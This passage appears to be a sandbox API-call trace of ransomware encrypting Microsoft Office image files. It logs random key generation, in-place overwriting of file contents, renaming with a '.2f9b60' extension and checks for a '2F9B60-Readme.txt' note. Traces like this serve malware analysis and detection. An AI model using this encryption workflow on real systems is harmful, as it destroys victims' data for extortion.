0x4a6c1ec0 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x70b88b2a [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x5f31f279 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x377d6441 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x4c5c1ae1 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x7a3ece84 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x40e623e2 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x8d81e6 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x426b7df8 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x67af79d0 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x5471244a [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x7a78f68e [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x24920981 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x73c19624 [0140.371] RtlRandomEx (in: Seed=0x2cb6f690 | out: Seed=0x2cb6f690) returned 0x6fd179d6 [0140.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0140.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420619b0 [0140.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0140.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420619b0) returned 1 [0140.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860cf0) returned 1 [0140.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f79e0 [0140.382] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.382] ReadFile (in: hFile=0x1ee8, lpBuffer=0x421f79e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cb6f700, lpOverlapped=0x0 | out: lpBuffer=0x421f79e0*, lpNumberOfBytesRead=0x2cb6f700*=0x3c00, lpOverlapped=0x0) returned 1 [0140.400] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d80 [0140.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420619b0 [0140.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ff200 [0140.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffa0 [0140.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffa0) returned 1 [0140.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420619b0) returned 1 [0140.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 [0140.402] WriteFile (in: hFile=0x1ee8, lpBuffer=0x421ff200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cb6f700, lpOverlapped=0x0 | out: lpBuffer=0x421ff200*, lpNumberOfBytesWritten=0x2cb6f700*=0x3c00, lpOverlapped=0x0) returned 1 [0141.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ff200) returned 1 [0141.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f79e0) returned 1 [0141.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda07f0 [0141.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfa0 [0141.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfa0) returned 1 [0141.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda0830 [0141.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfa0 [0141.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0141.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0141.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x1b7d3a20 [0141.084] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.084] WriteFile (in: hFile=0x1ee8, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2cb6f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2cb6f7b0*=0x11c, lpOverlapped=0x0) returned 1 [0141.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0141.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0141.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfa0) returned 1 [0141.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0141.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0141.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a20) returned 1 [0141.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0141.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0141.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x20279bb0 [0141.087] wcscpy (in: _Dest=0x20279bb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" [0141.088] wcscat (in: _Dest=0x20279bb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.2f9b60" [0141.088] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.2f9b60", NtPathName=0x2cb6f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1cecf780 [0141.088] NtSetInformationFile (FileHandle=0x1ee8, IoStatusBlock=0x2cb6f870, FileInformation=0x1cecf780, Length=0xce, FileInformationClass=0xa) returned 0x0 [0145.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf780) returned 1 [0145.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced40b0) returned 1 [0145.444] NtQueryInformationFile (in: FileHandle=0x1ee8, IoStatusBlock=0x2cb6f838, FileInformation=0x2cb6f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cb6f838, FileInformation=0x2cb6f848) returned 0x0 [0145.444] NtSetInformationFile (FileHandle=0x1ee8, IoStatusBlock=0x2cb6f838, FileInformation=0x2cb6f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279bb0) returned 1 [0145.448] FlushFileBuffers (hFile=0x1ee8) returned 1 [0145.995] CloseHandle (hObject=0x1ee8) returned 1 [0146.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12310 [0146.011] wcscpy (in: _Dest=0x1ce12310, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.011] wcscat (in: _Dest=0x1ce12310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12310) returned 1 [0147.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862930) returned 1 Thread: id = 1885 os_tid = 0x1034 [0133.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp")) returned 0x20 [0135.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0136.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b8c [0139.850] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2c0bf940 | out: lpFileSize=0x2c0bf940*=5432) returned 1 [0139.850] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x1534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.850] ReadFile (in: hFile=0x1b8c, lpBuffer=0x2c0bf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c0bf908, lpOverlapped=0x0 | out: lpBuffer=0x2c0bf8c0*, lpNumberOfBytesRead=0x2c0bf908*=0x4, lpOverlapped=0x0) returned 1 [0139.938] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bac0 [0139.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb50 [0139.939] NtQuerySystemTime (in: CurrentTime=0x2c0bf800 | out: CurrentTime=0x2c0bf800*=132462177451810000) returned 0x0 [0139.939] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x4b9b18a4 [0139.939] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x7569d28e [0139.939] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x3e5cf3af [0139.939] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x5bb8192f [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x1a75094f [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x75a3c506 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0xdb8905e [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0xf6b9d32 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x5b158362 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x3e1b8dd2 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x5d96bb16 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x13320655 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x5d5d28b2 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x7372d723 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x601f101 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x3aec00b [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x19df68c8 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x2215db89 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x6ba39e38 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x66951d3 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x193d3bdc [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x3f786d45 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x14911d35 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x1d24495e [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x10b2349d [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x33aef2eb [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x6459cd7e [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x25c95cd8 [0139.940] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x3ce318f7 [0139.941] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x45c3a39e [0139.941] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x79986be9 [0139.941] RtlRandomEx (in: Seed=0x2c0bf7f0 | out: Seed=0x2c0bf7f0) returned 0x6e34195c [0139.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb80 [0139.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0139.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bbb0 [0139.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0139.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bb50) returned 1 [0139.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0139.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0139.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4218e530 [0139.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42192140 [0139.951] ReadFile (in: hFile=0x1b8c, lpBuffer=0x4218e530, nNumberOfBytesToRead=0x1538, lpNumberOfBytesRead=0x2c0bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x4218e530*, lpNumberOfBytesRead=0x2c0bf7f0*=0x1538, lpOverlapped=0x0) returned 1 [0140.007] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.007] WriteFile (in: hFile=0x1b8c, lpBuffer=0x42192140*, nNumberOfBytesToWrite=0x1538, lpNumberOfBytesWritten=0x2c0bf7f4, lpOverlapped=0x0 | out: lpBuffer=0x42192140*, lpNumberOfBytesWritten=0x2c0bf7f4*=0x1538, lpOverlapped=0x0) returned 1 [0143.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0143.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264980 [0143.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264980) returned 1 [0143.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42192140) returned 1 [0143.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4218e530) returned 1 [0143.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0143.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0143.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0143.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0143.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0143.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264980 [0143.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264980) returned 1 [0143.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c800 [0143.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264980 [0143.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264950 [0143.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264950) returned 1 [0143.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0143.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0143.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x1b7d3a20 [0143.117] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.117] WriteFile (in: hFile=0x1b8c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2c0bf910, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2c0bf910*=0x124, lpOverlapped=0x0) returned 1 [0143.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0143.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0143.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264980) returned 1 [0143.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0143.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0143.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bac0) returned 1 [0143.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bb80) returned 1 [0143.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bbb0) returned 1 [0143.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce21d20 [0143.519] wcscpy (in: _Dest=0x1ce21d20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" [0143.519] wcscat (in: _Dest=0x1ce21d20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp.2f9b60" [0143.519] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp.2f9b60", NtPathName=0x2c0bf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1cecfe80 [0143.519] NtSetInformationFile (FileHandle=0x1b8c, IoStatusBlock=0x2c0bf9d0, FileInformation=0x1cecfe80, Length=0xd6, FileInformationClass=0xa) returned 0x0 [0145.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfe80) returned 1 [0145.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0145.323] NtQueryInformationFile (in: FileHandle=0x1b8c, IoStatusBlock=0x2c0bf998, FileInformation=0x2c0bf9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c0bf998, FileInformation=0x2c0bf9a8) returned 0x0 [0145.323] NtSetInformationFile (FileHandle=0x1b8c, IoStatusBlock=0x2c0bf998, FileInformation=0x2c0bf9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21d20) returned 1 [0145.327] FlushFileBuffers (hFile=0x1b8c) returned 1 [0145.334] CloseHandle (hObject=0x1b8c) returned 1 [0145.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202acc60 [0145.335] wcscpy (in: _Dest=0x202acc60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.335] wcscat (in: _Dest=0x202acc60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acc60) returned 1 [0147.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107e40) returned 1 Thread: id = 1886 os_tid = 0x1038 [0133.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg")) returned 0x20 [0136.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg", dwFileAttributes=0x20) returned 1 [0137.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ef8 [0140.409] GetFileSizeEx (in: hFile=0x1ef8, lpFileSize=0x2cc0fbe0 | out: lpFileSize=0x2cc0fbe0*=6549) returned 1 [0140.410] SetFilePointerEx (in: hFile=0x1ef8, liDistanceToMove=0x1991, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.410] ReadFile (in: hFile=0x1ef8, lpBuffer=0x2cc0fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cc0fba8, lpOverlapped=0x0 | out: lpBuffer=0x2cc0fb60*, lpNumberOfBytesRead=0x2cc0fba8*=0x4, lpOverlapped=0x0) returned 1 [0140.415] SetFilePointerEx (in: hFile=0x1ef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0140.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6320 [0140.416] NtQuerySystemTime (in: CurrentTime=0x2cc0faa0 | out: CurrentTime=0x2cc0faa0*=132462177456646000) returned 0x0 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x62756c26 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x79952221 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x54020e95 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x9eb7370 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x7006ee2e [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x9fe5445 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x31078232 [0140.416] RtlRandomEx (in: 